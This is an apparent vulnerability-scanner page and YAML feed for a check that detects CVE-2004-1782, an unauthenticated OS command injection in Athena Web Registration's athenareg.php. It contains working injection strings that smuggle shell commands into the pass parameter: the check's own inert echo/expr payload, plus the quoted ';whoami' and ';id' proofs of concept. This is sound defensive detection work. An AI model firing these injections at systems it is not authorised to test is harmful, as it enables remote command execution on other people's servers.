Athena Web Registration — 1 vulnerability check

noctis ships 1 vulnerability check for Athena Web Registration, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Athena Web Registration athenareg.php Unauthenticated OS Command Injection

CVECVE-2004-1782
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, tcp_connect, match · highest QoD 97
Feedtests/vulnerabilities/athena-web-registration/CVE-2004-1782.yaml

Detects the unauthenticated OS command injection in the athenareg.php script of Athena Web Registration, which pastes the pass request parameter unfiltered into a shell command, so a ";" starts any command as the web server user. Where athenareg.php exists (any reply but 404), the feed sends pass= ;echo NOCTIS`expr a + b` # with per-run random numbers and reports only when the page contains NOCTIS followed by their sum, which only real shell execution can produce. No fix was released; remove the script.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. Raw TCP (TLS on HTTPS), sent verbatim: GET {{dir}}/athenareg.php HTTP/1.0
  3. Raw TCP (TLS on HTTPS), sent verbatim: GET {{dir}}/athenareg.php?pass=%20%3Becho%20NOCTIS%60expr%20{{ov.a}}%20%2B%20{{ov.b}}%60%…
  4. Checks inj.banner for NOCTIS → finding QoD 97: athenareg.php command injection confirmed via GET …/athenareg.php?pass= ;echo NOCTIS`expr … + …` #: the shell printed NOCTIS… (a sum absent…

References:

Feed source — tests/vulnerabilities/athena-web-registration/CVE-2004-1782.yaml
# Athena Web Registration athenareg.php — `pass` parameter OS command injection (CVE-2004-1782)
#
# Ported from OpenVAS/Greenbone NVT `pre2008/athena_web_remote_cmd_exec.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.18376, GPL-2.0-only).
#
# athenareg.php pastes the `pass` request parameter unfiltered into a shell command
# line and prints the command's output (BID 9349 / EDB-23513, Peter Kieser,
# 2 Jan 2004: `athenareg.php?pass=%20;whoami`). The product's source is gone; only
# that PoC survives. No fix was ever released.
#
# The NASL requests <dir>/athenareg.php?pass=%20;id for "/" and the CGI dirs and
# matches `uid=[0-9]+.*gid=[0-9]+` in the reply.
#
# This feed keeps the NASL's `pass=%20;` break-out, with only the command changed:
#     pass= ;echo NOCTIS`expr <a> + <b>` #     (a, b = per-run random 6-digit ints)
#   -> the shell prints NOCTIS<a+b>. Backticks + expr work in every Bourne shell
#   (old /bin/sh without `$((...))` included); the trailing `#` comments out
#   whatever argument the script appends after the password, so the proof
#   does not depend on the unknown rest of the command line. The sum never
#   appears in the request, so a page that reflects or strips the parameter
#   cannot produce it.
#
# Beyond the NASL: `id` is replaced by an inert per-run sum (an `id` line can be
# echoed by any page that reflects a stored transcript), and the injection is
# only sent where athenareg.php exists (not on every 404 location).
uid: a7f4fca7-e494-496d-bc5d-3999b5fd05e7
name: "Athena Web Registration athenareg.php Unauthenticated OS Command Injection"
description: |
  Detects the unauthenticated OS command injection in the athenareg.php script of
  Athena Web Registration, which pastes the pass request parameter unfiltered
  into a shell command, so a ";" starts any command as the web server user.
  Where athenareg.php exists (any reply but 404), the feed sends pass= ;echo NOCTIS`expr a + b` #
  with per-run random numbers and reports only when the page contains NOCTIS
  followed by their sum, which only real shell execution can produce. No fix was
  released; remove the script.
cves: [CVE-2004-1782]
cvss: 7.5   # NVD has only a CVSS v2 score (AV:N/AC:L/Au:N/C:P/I:P/A:P) for this CVE
severity: high
confidence_base: 0.30
category: rce
tags: [athena-web-registration, php, command-injection, rce, unauthenticated, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2004-1782"
  - "https://www.exploit-db.com/exploits/23513"
  - "https://www.securityfocus.com/bid/9349"
  - "OpenVAS/Greenbone NASL pre2008/athena_web_remote_cmd_exec.nasl (GPL-2.0-only)"

steps:
  # Per-run operands: the 7-digit sum cannot hide inside an echoed 6-digit operand.
  - id: gen-tokens
    action: script
    code: |
      let a = rand_int(500000, 999999);
      let b = rand_int(500000, 999999);
      #{ a: a, b: b, sum: "" + (a + b) }
    store_as: ov

  # ── Per location ("/" + the usual install / CGI dirs): this step and every following one ──
  # Pre-initialised so a failed request leaves no undefined variable behind.
  - id: init-page
    action: set_var
    var_name: page
    var_value: {connected: false, banner: null}
    loop:
      over:
        - ""
        - "/athena"
        - "/cgi-bin"
      var: dir

  - id: init-inject
    action: set_var
    var_name: inj
    var_value: {connected: false, banner: null}

  # Only inject where the script exists (any reply but 404: a script that errors
  # without `pass` may answer 500 there).
  - id: probe-script
    action: tcp_connect
    port: "{{port}}"
    send: "GET {{dir}}/athenareg.php HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    timeout_secs: 10   # connect only; the reply is read for 3 s (checks/tcp.rs)
    store_as: page

  # The NASL's request with `id` swapped for the inert sum.
  - id: inject-pass
    action: tcp_connect
    condition: "type_of(page.banner) == \"string\" && ereg(\"^HTTP/1\\\\.[01] [0-9]{3}\", page.banner) && !ereg(\"^HTTP/1\\\\.[01] 404\", page.banner)"
    port: "{{port}}"
    send: "GET {{dir}}/athenareg.php?pass=%20%3Becho%20NOCTIS%60expr%20{{ov.a}}%20%2B%20{{ov.b}}%60%20%23 HTTP/1.0\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
    timeout_secs: 10   # connect only; the reply is read for 3 s (checks/tcp.rs)
    store_as: inj

  - id: confirm
    action: match
    source: inj.banner
    pattern: "NOCTIS"
    condition: "type_of(inj.banner) == \"string\" && ereg(\"^HTTP/1\\\\.[01] \", inj.banner) && ereg(\"NOCTIS\" + ov.sum + \"([^0-9]|$)\", inj.banner)"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "athenareg.php command injection confirmed via GET {{dir}}/athenareg.php?pass= ;echo NOCTIS`expr {{ov.a}} + {{ov.b}}` #: the shell printed NOCTIS{{ov.sum}} (a sum absent from the request) in the page"
      stop: true

View these feeds on GitHub